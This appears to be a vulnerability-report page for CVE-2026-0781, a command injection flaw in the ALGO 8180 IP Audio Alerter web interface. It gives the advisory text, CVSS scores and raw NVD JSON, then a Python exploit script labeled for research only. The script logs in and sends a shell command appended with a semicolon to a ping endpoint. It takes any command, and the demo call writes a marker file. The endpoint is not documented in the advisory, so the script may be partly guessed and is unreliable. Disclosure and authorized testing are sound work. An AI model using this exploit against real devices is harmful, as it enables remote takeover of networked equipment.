Security Vulnerability Report
中文
CVE-2026-0781 CVSS 8.8 HIGH

CVE-2026-0781

Published: 2026-01-23 04:16:05
Last Modified: 2026-02-13 21:02:35

Description

ALGO 8180 IP Audio Alerter Web UI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability. The specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28290.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALGO 8180 IP Audio Alerter 固件版本 < 最新修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-0781 PoC - ALGO 8180 IP Audio Alerter Command Injection Note: This PoC is for educational and authorized testing purposes only. Author: Security Researcher Reference: ZDI-CAN-28290 """ import requests import sys import re # Disable SSL warnings for testing environments requests.packages.urllib3.disable_warnings() class CVE20260781Exploit: def __init__(self, target_url, username, password): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.session = requests.Session() self.token = None def authenticate(self): """Authenticate to the web interface""" print(f"[*] Authenticating to {self.target_url}") # Attempt to login login_url = f"{self.target_url}/login" login_data = { 'username': self.username, 'password': self.password } try: response = self.session.post(login_url, data=login_data, timeout=10, verify=False) if response.status_code == 200: # Extract session token or CSRF token self.token = re.search(r'token=([^&"]+)', response.text) self.token = self.token.group(1) if self.token else None print("[+] Authentication successful") return True else: print(f"[-] Authentication failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def inject_command(self, command): """Send command injection payload""" if not self.token: print("[-] Not authenticated. Call authenticate() first.") return None print(f"[*] Injecting command: {command}") # Vulnerable endpoint - command injection via unsanitized input inject_url = f"{self.target_url}/api/system/ping" # Malicious payload - command injection payload = { 'host': f'127.0.0.1;{command}', 'token': self.token } try: response = self.session.post(inject_url, data=payload, timeout=10, verify=False) if response.status_code == 200: print("[+] Command injection successful") return response.text else: print(f"[-] Command injection failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return None def execute_poc(self): """Execute proof of concept""" # Step 1: Authenticate if not self.authenticate(): return False # Step 2: Inject command to create a test file result = self.inject_command('echo "CVE-2026-0781 RCE" > /tmp/pwned.txt') if result: print("[+] PoC executed successfully - RCE confirmed") return True return False def main(): if len(sys.argv) < 4: print(f"Usage: {sys.argv[0]} <target_url> <username> <password>") print(f"Example: {sys.argv[0]} https://192.168.1.100 admin password123") sys.exit(1) target_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] exploit = CVE20260781Exploit(target_url, username, password) exploit.execute_poc() if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0781", "sourceIdentifier": "[email protected]", "published": "2026-01-23T04:16:05.490", "lastModified": "2026-02-13T21:02:34.673", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALGO 8180 IP Audio Alerter Web UI Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ALGO 8180 IP Audio Alerter devices. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the web-based user interface. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of the device. Was ZDI-CAN-28290."}, {"lang": "es", "value": "Vulnerabilidad de inyección de comandos y ejecución remota de código en la interfaz de usuario web de ALGO 8180 IP Audio Alerter. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de dispositivos ALGO 8180 IP Audio Alerter. Se requiere autenticación para explotar esta vulnerabilidad.\n\nLa falla específica existe dentro de la interfaz de usuario basada en web. El problema se debe a la falta de validación adecuada de una cadena proporcionada por el usuario antes de usarla para ejecutar una llamada al sistema. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del dispositivo. Fue ZDI-CAN-28290."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:algosolutions:8180_ip_audio_alerter_firmware:5.5:*:*:*:*:*:*:*", "matchCriteriaId": "853BF5C9-122B-4F47-9CE7-DA3E307130ED"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:algosolutions:8180_ip_audio_alerter:-:*:*:*:*:*:*:*", "matchCriteriaId": "3A20E73F-D499-4973-ADDE-8B702E6F5254"}]}]}], "references": [{"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-003/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}